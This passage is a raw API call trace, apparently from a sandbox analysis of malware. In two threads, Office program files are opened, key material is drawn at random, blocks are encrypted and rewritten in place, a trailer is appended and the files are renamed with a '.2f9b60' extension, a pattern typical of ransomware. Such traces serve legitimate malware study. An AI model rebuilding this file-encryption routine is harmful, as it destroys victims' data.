RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431eaca0 Thread: id = 2559 os_tid = 0x2068 [0155.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng")) returned 0x20 [0155.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG", dwFileAttributes=0x20) returned 1 [0155.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1234 [0155.524] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x31e3f920 | out: lpFileSize=0x31e3f920*=366569) returned 1 [0155.524] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x597e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.524] ReadFile (in: hFile=0x1234, lpBuffer=0x31e3f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31e3f8e8, lpOverlapped=0x0 | out: lpBuffer=0x31e3f8a0*, lpNumberOfBytesRead=0x31e3f8e8*=0x4, lpOverlapped=0x0) returned 1 [0156.602] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc770 [0156.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0156.603] NtQuerySystemTime (in: CurrentTime=0x31e3f7e0 | out: CurrentTime=0x31e3f7e0*=132462177617326000) returned 0x0 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x336a3a22 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x381305f3 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x2085983b [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0xea02639 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x4928e005 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x78bd4fbf [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x57d4f377 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x54108ab5 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x5e9e73fb [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x1c61ed6c [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x40343da5 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x2308d52d [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x46e5115 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x2fad7bbb [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x55fce3f8 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x3abe4ee0 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x17bb8b09 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x62d510b [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x63a2a115 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x1298bde5 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x37bcd7fb [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x6602cf59 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x2b06445 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x496822d0 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x7a553380 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x1b8cbfe1 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x7f0eebe8 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x355cb878 [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x2a03a1ff [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x66d3810f [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x4112f2ac [0156.603] RtlRandomEx (in: Seed=0x31e3f7d0 | out: Seed=0x31e3f7d0) returned 0x461fdef0 [0156.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc830 [0156.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0156.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc860 [0156.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5e20) returned 1 [0156.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc800) returned 1 [0156.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a57240 [0156.611] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.611] ReadFile (in: hFile=0x1234, lpBuffer=0x42a57240, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31e3f840, lpOverlapped=0x0 | out: lpBuffer=0x42a57240*, lpNumberOfBytesRead=0x31e3f840*=0x3c00, lpOverlapped=0x0) returned 1 [0160.610] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0160.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0160.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2270 [0160.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2270) returned 1 [0160.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc4990 [0160.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2270 [0160.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0160.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0160.612] WriteFile (hFile=0x1234, lpBuffer=0x41bc4990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31e3f840, lpOverlapped=0x0) [0186.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0186.437] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.437] ReadFile (in: hFile=0x1234, lpBuffer=0x42a57240, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31e3f840, lpOverlapped=0x0 | out: lpBuffer=0x42a57240*, lpNumberOfBytesRead=0x31e3f840*=0x3c00, lpOverlapped=0x0) returned 1 [0187.249] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe40 [0187.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe40) returned 1 [0187.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429dae50 [0187.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe40 [0187.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd80 [0187.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd80) returned 1 [0187.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.252] WriteFile (in: hFile=0x1234, lpBuffer=0x429dae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31e3f840, lpOverlapped=0x0 | out: lpBuffer=0x429dae50*, lpNumberOfBytesWritten=0x31e3f840*=0x3c00, lpOverlapped=0x0) returned 1 [0205.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429dae50) returned 1 [0205.558] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x55be9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.558] ReadFile (in: hFile=0x1234, lpBuffer=0x42a57240, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31e3f840, lpOverlapped=0x0 | out: lpBuffer=0x42a57240*, lpNumberOfBytesRead=0x31e3f840*=0x3c00, lpOverlapped=0x0) returned 1 [0205.559] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x55be9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9980 [0205.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9980) returned 1 [0205.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429dae50 [0205.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9980 [0205.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0205.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0205.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.563] WriteFile (in: hFile=0x1234, lpBuffer=0x429dae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31e3f840, lpOverlapped=0x0 | out: lpBuffer=0x429dae50*, lpNumberOfBytesWritten=0x31e3f840*=0x3c00, lpOverlapped=0x0) returned 1 [0214.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429dae50) returned 1 [0214.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105280 [0214.971] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.971] WriteFile (in: hFile=0x1234, lpBuffer=0x1cebda80*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x31e3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1cebda80*, lpNumberOfBytesWritten=0x31e3f8f0*=0x148, lpOverlapped=0x0) returned 1 [0218.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0218.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe70 [0218.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffe70) returned 1 [0218.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0218.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe70 [0218.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe40 [0218.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffe40) returned 1 [0218.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0218.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431adb20 [0218.921] sprintf (in: _Dest=0x431adb20, _Format="%c%c" | out: _Dest="65") returned 2 [0218.921] sprintf (in: _Dest=0x431adb22, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.921] sprintf (in: _Dest=0x431adb24, _Format="%c%c" | out: _Dest="a0") returned 2 [0218.921] sprintf (in: _Dest=0x431adb26, _Format="%c%c" | out: _Dest="77") returned 2 [0218.921] sprintf (in: _Dest=0x431adb28, _Format="%c%c" | out: _Dest="62") returned 2 [0218.921] sprintf (in: _Dest=0x431adb2a, _Format="%c%c" | out: _Dest="fc") returned 2 [0218.921] sprintf (in: _Dest=0x431adb2c, _Format="%c%c" | out: _Dest="e0") returned 2 [0218.921] sprintf (in: _Dest=0x431adb2e, _Format="%c%c" | out: _Dest="c7") returned 2 [0218.921] sprintf (in: _Dest=0x431adb30, _Format="%c%c" | out: _Dest="9c") returned 2 [0218.921] sprintf (in: _Dest=0x431adb32, _Format="%c%c" | out: _Dest="96") returned 2 [0218.921] sprintf (in: _Dest=0x431adb34, _Format="%c%c" | out: _Dest="cc") returned 2 [0218.922] sprintf (in: _Dest=0x431adb36, _Format="%c%c" | out: _Dest="67") returned 2 [0218.922] sprintf (in: _Dest=0x431adb38, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.922] sprintf (in: _Dest=0x431adb3a, _Format="%c%c" | out: _Dest="21") returned 2 [0218.922] sprintf (in: _Dest=0x431adb3c, _Format="%c%c" | out: _Dest="c4") returned 2 [0218.922] sprintf (in: _Dest=0x431adb3e, _Format="%c%c" | out: _Dest="37") returned 2 [0218.922] sprintf (in: _Dest=0x431adb40, _Format="%c%c" | out: _Dest="a1") returned 2 [0218.922] sprintf (in: _Dest=0x431adb42, _Format="%c%c" | out: _Dest="de") returned 2 [0218.922] sprintf (in: _Dest=0x431adb44, _Format="%c%c" | out: _Dest="68") returned 2 [0218.922] sprintf (in: _Dest=0x431adb46, _Format="%c%c" | out: _Dest="93") returned 2 [0218.922] sprintf (in: _Dest=0x431adb48, _Format="%c%c" | out: _Dest="75") returned 2 [0218.922] sprintf (in: _Dest=0x431adb4a, _Format="%c%c" | out: _Dest="a5") returned 2 [0218.922] RtlInitAnsiString (in: DestinationString=0x31e3f968, SourceString="654ca07762fce0c79c96cc67c121c437a1de689375a5" | out: DestinationString="654ca07762fce0c79c96cc67c121c437a1de689375a5") [0218.922] RtlAnsiStringToUnicodeString (in: DestinationString=0x31e3f938, SourceString="654ca07762fce0c79c96cc67c121c437a1de689375a5", AllocateDestinationString=1 | out: DestinationString="654ca07762fce0c79c96cc67c121c437a1de689375a5") returned 0x0 [0218.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x43105130 [0218.922] wcscat (in: _Dest=0x202afa00, _Source="654ca07762f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\654ca07762f") returned="C:\\Program Files\\Microsoft Office\\Office14\\654ca07762f" [0218.923] wcscat (in: _Dest=0x202afa00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\654ca07762f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\654ca07762f.2f9b60" [0218.923] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\654ca07762f.2f9b60", NtPathName=0x31e3f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\654ca07762f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4315e720 Thread: id = 2560 os_tid = 0x206c [0155.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp")) returned 0x20 [0155.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp", dwFileAttributes=0x20) returned 1 [0155.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1230 [0155.528] GetFileSizeEx (in: hFile=0x1230, lpFileSize=0x3205fb80 | out: lpFileSize=0x3205fb80*=95208) returned 1 [0155.528] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x173e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.528] ReadFile (in: hFile=0x1230, lpBuffer=0x3205fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3205fb48, lpOverlapped=0x0 | out: lpBuffer=0x3205fb00*, lpNumberOfBytesRead=0x3205fb48*=0x4, lpOverlapped=0x0) returned 1 [0156.588] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc6e0 [0156.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc770 [0156.589] NtQuerySystemTime (in: CurrentTime=0x3205fa40 | out: CurrentTime=0x3205fa40*=132462177617170000) returned 0x0 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0xde0d70 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x7b14ba97 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x302c016d [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x76d0b59 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x41bae17f [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x78d999ba [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x7c96f4d7 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x3cbcde09 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x515d7034 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x40562c6d [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x1b0ba628 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x55402971 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x64ef91e4 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0xc477825 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x3c5e1a7d [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x14b8d016 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x2d5e1631 [0156.589] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x69dc8224 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x79f0e010 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x54db9970 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x3f7b074c [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x408ace97 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x192e50f0 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x179c3717 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x79cd7ceb [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x763d791c [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x48c769ce [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x6b141a72 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x14eaa66c [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x2fe196a8 [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x2eddfd6d [0156.590] RtlRandomEx (in: Seed=0x3205fa30 | out: Seed=0x3205fa30) returned 0x476e1c10 [0156.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc7a0 [0156.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0156.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc7d0 [0156.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5e20) returned 1 [0156.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc770) returned 1 [0156.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a53630 [0156.602] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.602] ReadFile (in: hFile=0x1230, lpBuffer=0x42a53630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3205faa0, lpOverlapped=0x0 | out: lpBuffer=0x42a53630*, lpNumberOfBytesRead=0x3205faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.601] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0159.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb77f0 [0159.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb46d0 [0159.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb46d0) returned 1 [0159.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f31d40 [0159.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb46d0 [0159.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4700 [0159.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4700) returned 1 [0159.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb77f0) returned 1 [0159.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0159.604] WriteFile (hFile=0x1230, lpBuffer=0x41f31d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3205faa0, lpOverlapped=0x0) [0186.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f31d40) returned 1 [0186.783] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.783] ReadFile (in: hFile=0x1230, lpBuffer=0x42a53630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3205faa0, lpOverlapped=0x0 | out: lpBuffer=0x42a53630*, lpNumberOfBytesRead=0x3205faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.683] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139100 [0190.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139100) returned 1 [0190.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42de1150 [0190.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139100 [0190.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139130 [0190.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139130) returned 1 [0190.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.687] WriteFile (in: hFile=0x1230, lpBuffer=0x42de1150*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3205faa0, lpOverlapped=0x0 | out: lpBuffer=0x42de1150*, lpNumberOfBytesWritten=0x3205faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de1150) returned 1 [0205.630] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x137e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.630] ReadFile (in: hFile=0x1230, lpBuffer=0x42a53630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3205faa0, lpOverlapped=0x0 | out: lpBuffer=0x42a53630*, lpNumberOfBytesRead=0x3205faa0*=0x3c00, 